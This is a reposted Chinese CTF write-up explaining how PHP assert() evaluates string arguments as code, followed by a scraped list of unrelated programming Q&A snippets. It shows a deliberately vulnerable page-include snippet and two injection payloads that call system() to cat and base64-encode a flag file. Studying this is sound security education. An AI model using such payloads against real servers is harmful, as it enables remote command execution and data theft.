assert()理解

2023-11-15

源自一道CTF题,理解全部写在注释里面

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home"; //
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!

//strpos通过查询‘..’ 在'$file'中第一次出现的位置来防止目录遍历
//assert()函数解释:判断表达式是否成立,返回true或者false。如果()内容为字符串则会当成php代码执行。

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
//file_exists(path)判断目标目录或者文件是否存在

assert("file_exists('$file')") or die("That file doesn't exist!");

//writeup
//由于有两个assert函数,可以对两个进行恶意代码构造
//对1构造
//解释:闭合strpos('1','..') or system("系统命令"); // 注释掉后面代码  
  1',..') or system("cat+templates/flag.php|base64");//
注:

base64是因为php源码无法直接显示,进行加密处理显示 或者F12打开,会发现注释里面有flag

//对2构造
//解释:闭合file_exists('1'),or system("系统命令"); //注释掉后面代码
  1') or system("cat+templates/flag.php|base64");#
  发现#被过滤改用//
  1') or system("cat+templates/flag.php|base64");//

 

转载于:https://www.cnblogs.com/Zhu013/p/11588011.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

assert()理解 的相关文章

  • 如何在android中设置多个闹钟,在这种情况下最后一个闹钟会覆盖以前的闹钟

    我正在开发一个Android应用程序 用户可以在其中设置提醒时间 但我在以下代码中遇到一个问题 即最后一个警报会覆盖之前的所有警报 MainActivity java public void setreminders DatabaseHan
  • Facebook 应用程序无法获取会话

    我正在 Heroku 上为 Facebook 开发一个非常基本的 PHP 应用程序 它显示非常基本的用户信息 如姓名 个人资料图片 但该应用程序在 getToken 方法中停止 我在登录我的个人资料后尝试了该应用程序 但仍然出现相同的消息
  • 在java中实现你自己的阻塞队列

    我知道这个问题之前已经被问过并回答过很多次了 但我只是无法根据互联网上找到的示例找出窍门 例如this http tutorials jenkov com java concurrency blocking queues html or t
  • Git 无法识别重命名和修改的包文件

    我有一个名为的java文件package old myfile java 我已经通过 git 提交了这个文件 然后我将我的包重命名为new所以我的文件在package new myfile java 我现在想将此文件重命名 和内容更改 提交
  • 如何将 Jfreechart(饼图)添加到 netbeans 的面板中

    我正在使用 netbeans gui 编辑器 并且正在尝试添加一个本身位于内部框架中的 Jfreechart 并且这个内部框架我想将其添加到面板中 正如您在此图中看到的那样 抱歉 我无法直接发布图像 因为我新手 http www flick
  • 如何通过php获取网页的Open Graph协议?

    PHP 有一个简单的命令来获取网页的元标记 get meta tags 但这仅适用于具有名称属性的元标记 然而 开放图谱协议如今变得越来越流行 从网页获取 opg 值的最简单方法是什么 例如 我看到的基本方法是通过 cURL 获取页面并使用
  • Ebay api GetSellerList,解析响应 XML

    我正在使用 eBay 交易 api 来获取当前列出的卖家股票 我正在使用 GetSellerList 调用 我在解析 xml 时遇到问题 然后将其插入到网站商店中 这是 xml 请求
  • 计算日期之间的天数差异

    在我的代码中 日期之间的差异是错误的 因为它应该是 38 天而不是 8 天 我该如何修复 package random04diferencadata import java text ParseException import java t
  • PHP 中的引用

    我正在编写一个自定义博客引擎 并且希望拥有类似于 Wordpress 的引用 我可以查看 WordPress 源代码 但我真的更喜欢某种教程 但到目前为止我还没有找到 有没有关于在 PHP5 中实现 trackbacks 或 pingbac
  • 如何通过ssh检查ubuntu服务器上是否存在php和apache

    如何通过ssh检查Ubuntu服务器上apache是 否安装了php和mysql 另外如果安装的话在哪个目录 如果安装了其他软件包 例如 lighttpd 那么它在哪里 确定程序是否已安装的另一种方法是使用which命令 它将显示您正在搜索
  • 如何删除文件

    我们有一个脚本 scripts ourscript php和一个文件 media movie1 flv 当我们运行时 我们如何删除这个文件ourscript php Using unlink http php net manual en f
  • Dispatcher-servlet 无法映射到 websocket 请求

    我正在开发一个以Spring为主要框架的Java web应用程序 特别使用Spring core Spring mvc Spring security Spring data Spring websocket 像这样在 Spring 上下文
  • 尝试使用等于“是”或“否”的字符串变量重新启动 do-while 循环

    计算行程距离的非常简单的程序 一周前刚刚开始 我有这个循环用于解决真或假问题 但我希望它适用于简单的 是 或 否 我为此分配的字符串是答案 public class Main public static void main String a
  • 无法捕获 Spring Batch 的 ItemWriter 中的异常

    我正在编写一个 Spring Batch 流程来将数据集从一个系统迁移到另一个系统 在这种情况下 这就像使用RowMapper实现在传递给查询之前从查询构建对象ItemWriter The ItemWriter称为save我的 DAO 上的
  • 如何在 Quartz 调度程序中每 25 秒运行一次?

    我正在使用 Java 的 Quartz Scheduling API 你能帮我使用 cron 表达式每 25 秒运行一次吗 这只是一个延迟 它不必总是从第 0 秒开始 例如 序列如下 0 00 0 25 0 50 1 15 1 40 2 0
  • 挂钩 Eclipse 构建过程吗?

    我希望在 Eclipse 中按下构建按钮时能够运行一个简单的 Java 程序 目前 当我单击 构建 时 它会运行一些 JRebel 日志记录代码 我有一个程序可以解析 JRebel 日志文件并将统计信息存储在数据库中 是否可以编写一个插件或
  • 反向引用在 PHP 中不起作用

    最近我一直在研究 更多的是在实践中说实话 正则表达式 我注意到他的力量 我提出的这个要求 link https stackoverflow com questions 30380397 take the text up to a speci
  • Android - 9 补丁

    我正在尝试使用 9 块图片创建一个新的微调器背景 我尝试了很多方法来获得完美的图像 但都失败了 s Here is my 9 patch 当我用Draw 9 patch模拟时 内容看起来不错 但是带有箭头的部分没有显示 或者当它显示时 这部
  • PHP递归遍历对象树[关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • ZF3/2 - 如何捕获 EVENT_DISPATCH 侦听器中引发的异常?

    有什么方法可以在 EVENT DISPATCH 监听器中抛出异常吗 class Module public function onBootstrap EventInterface event application event gt get

随机推荐

  • 【Mac】Mac 下安装MySQL优化工具mysqltuner执行报错 [!!] Attempted to use login credentials

    1 背景 base lcc lcc MySQLTuner perl mysqltuner pl socket var lib mysql mysql sock gt gt MySQLTuner 1 7 19 Major Hayden
  • FPGA选型

    原来SG6twotwo FPGA推荐型号0 GX480系列 FPGA推荐型号1 GX570系列 FPGA推荐型号2 GX660系列 SG622 FPGA型号 10AX027 F34 10AX048 10AX057 10AX066 引脚数量
  • postcss_PostCSS简介

    postcss Most developers who spend their time working with CSS are familiar with preprocessors such Less Sass and Stylus
  • [管理与领导-62]:IT基层管理者 - 潜技能 - 1 - 职场中的陷阱 - 了解职场中潜法则,保护自己

    目录 前言 生存法则一 老板对你讲的道理 永远都是对他有利的 生存法则二 目标要明确 拿钱要及时 生存法则三 有点的领导夸你越多 你得到的越少 生存法则四 表面讲大义 心里是生意 生存法则五 得罪人是要付出代价的 生存法则六 别人对你越坏
  • 物理选择题~~好好答哦

    a啊 D
  • 桶排序、计数排序、基数排序 -- 大数据排序,线性排序以及应用场景

    桶排序 桶排序其实就是把数据分到各个桶中 比如把100个数据到10个桶中 然后每个桶再进行排序比如快排 桶和桶之间也是有顺序的 桶排序是线性排序 也就是时间复杂度为O n 假设数据有 n 个 把它们均匀地划分到 m 个桶内 每个桶里就有 k
  • 计算机网络常见面试题总结(一)

    本文主要内容转载自 http blog csdn net jxh 123 article details 40316081 整理一下计算机网络部分的面试常考点 参考书籍 计算机网络 第五版 谢希仁的那本 希望对大家有所帮助 OSI TCP
  • 网站服务器ftp密码设置,服务器 设置ftp密码

    服务器 设置ftp密码 内容精选 换一换 本节操作介绍Linux操作系统云服务器使用重新挂载系统盘的方式重置密码的操作步骤 本文档适用于X86架构的CentOS 7 Ubuntu EulerOS操作系统云服务器 进入单用户模式下重置root
  • Ubuntu18.04安装facebook folly库

    安装步骤 安装boost ubuntu18 04安装的boost有点陈旧 因此自行下载最新版本 执行安装即可 https www boost org 具体步骤直接参考readme 安装gtest wget https github com
  • c语言发牌小程序

    include
  • Windows 2003 Server远程代码执行漏洞集合

    目录 MS08 067 CVE 2017 7269 MS08 067 发布日期 2008 10 22 针对端口 139 445 漏洞等级 高危 漏洞影响 服务器服务中的漏洞可能允许远程执行代码 受影响的操作系统 Windows 2000 X
  • nginx关键字

    对关键字的解释会慢慢加上 master进程 worker进程 pass proxy core Nginx c daemon master process timer resolution pid lock file worker proce
  • 如何正确使用示波器的温度延长线扩展功能

    电子产品的信号测试验证过程中 不可避免地 需要进行高低温工况下的信号完整性测试 但是 目前的高速有源探头的工作温度范围有限不足以直接使用 为此 诸如泰克 是德科技等仪器公司 都有相对应的测试解决方案 基本采用的是 焊接前端 温度延长线 有源
  • 图论17(Leetcode864.获取所有钥匙的最短路径)

    用二进制表示获得的钥匙 假设n 钥匙个数 000000000代表没有钥匙 0000000001代表有idx为1的钥匙 0000000011代表有idx 1 2的钥匙 这方法巧妙又复杂 代码 class Solution static int
  • 补码的求法

    补码 源码取反再加一 eg CAN通信的一部分 1024对应0xfcc 第一种方法 1024二进制 0000010000000000 注意数据类型 需要加上0 取反 1111101111111111 加一 1111110000000000
  • Base64编码相关知识总结

    Base64编码是什么 Base64 顾名思义 就是包括小写字母a z 大写字母A Z 数字0 9 符号 一共64个字符的字符集 另加一个 实际是65个字符 任何符号都可以转换成这个字符集中的字符 这个转换过程就叫做base64编码 Bas
  • jdbc的内容以及如何在5秒钟后自动跳转到login.html页面

    首先 在5秒钟之后跳转到login html 最初的解决方法 try Thread sleep 5000 response sendRedirect login html catch Exception e e printStackTrac
  • STM32 GPIO |CSDN创作打卡

    GPIO结构框图 推挽输出 0 3 3 在该结构中输入高电平时 上方的P MOS导通 下方的N MOS截止 对外输出高电平 而在该结构中输入低电平时 N MOS管导通 P MOS截止 对外输出低电平 当引脚高低电平切换时 两个管子轮流导通
  • 如何下载b站视频到本地

    传送门 转载于 https www cnblogs com yaoling1997 p 10793366 html
  • assert()理解

    源自一道CTF题 理解全部写在注释里面 if isset GET page page GET page else page home file templates page php I heard is dangerous strpos通过